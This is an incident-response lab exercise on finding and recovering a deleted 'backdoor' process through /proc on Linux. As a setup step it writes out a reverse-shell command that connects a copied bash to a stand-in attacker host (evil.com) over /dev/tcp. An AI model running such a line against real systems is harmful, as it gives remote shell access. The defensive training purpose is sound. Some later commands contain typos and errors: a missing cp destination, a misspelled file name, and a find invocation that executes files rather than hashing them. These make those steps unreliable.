Case #4: Hunt a Deleted Suspicious Process!

The goal of this lab is to simulate the idea of a suspicious process that was run by a threat actor and then deleted it so no traces were left behind. But, let them believe what they want, as long as the system is running, we can track this process down and even extract it, while the system is still running.

Deliverables:

1. Create a fake malicious reverse bash shell.
2. Run the shell in the background and then delete.
3. Show that you can find, list, and then extract the process from /proc even though the process has been deleted.

Outcomes:

At the end of this lab, you will have acquired skills to deal with a compromised Linux system, where you will be capable of:

1. Tracking running processes
2. Using the procfs features to the benefit of your IR
3. Extracting the process from memory

Note: please use tables and screenshots to represent your results if needed. Like I usually say "**Screenshot or it didn't happen!**".

Task #1: Copy bash and name it backdoor

```
$ cp /bin/bash /tmp/backdoor
```

Task #2: Create a reverse bash shell

Create a netcat listener on your system or on another system if you have one:

```
$ nc -lvp 8080
```

Now run your backdoor

```
$ /tmp/backdoor -i >& /dev/tcp/evil.com/8080 0>&1
```

Task #3: Use netstat, /proc, and lsof to find the suspicious process

```
$ netstat -lpeanut

$ lsof -p <PID>

$ ps aux | grep <PID>
$ ps aux | grep <Pname>

$ ls /proc/<PID>
```

Task #4: Extract and compare the value

```
$ cp /proc/<PID>/exe
```

Q: Did that work and why?

No, because it’s not a true file, therefore let’s use “cat” instead

```
$ cat /proc/<PID>/exe > fakeprocess
```

Then get the hash:

```
$ md5sum fackprocess
```

Now let’s search for this process using find:

```
$ sudo find / -type f -exec {}\; | grep <fakeprocess-hash>
```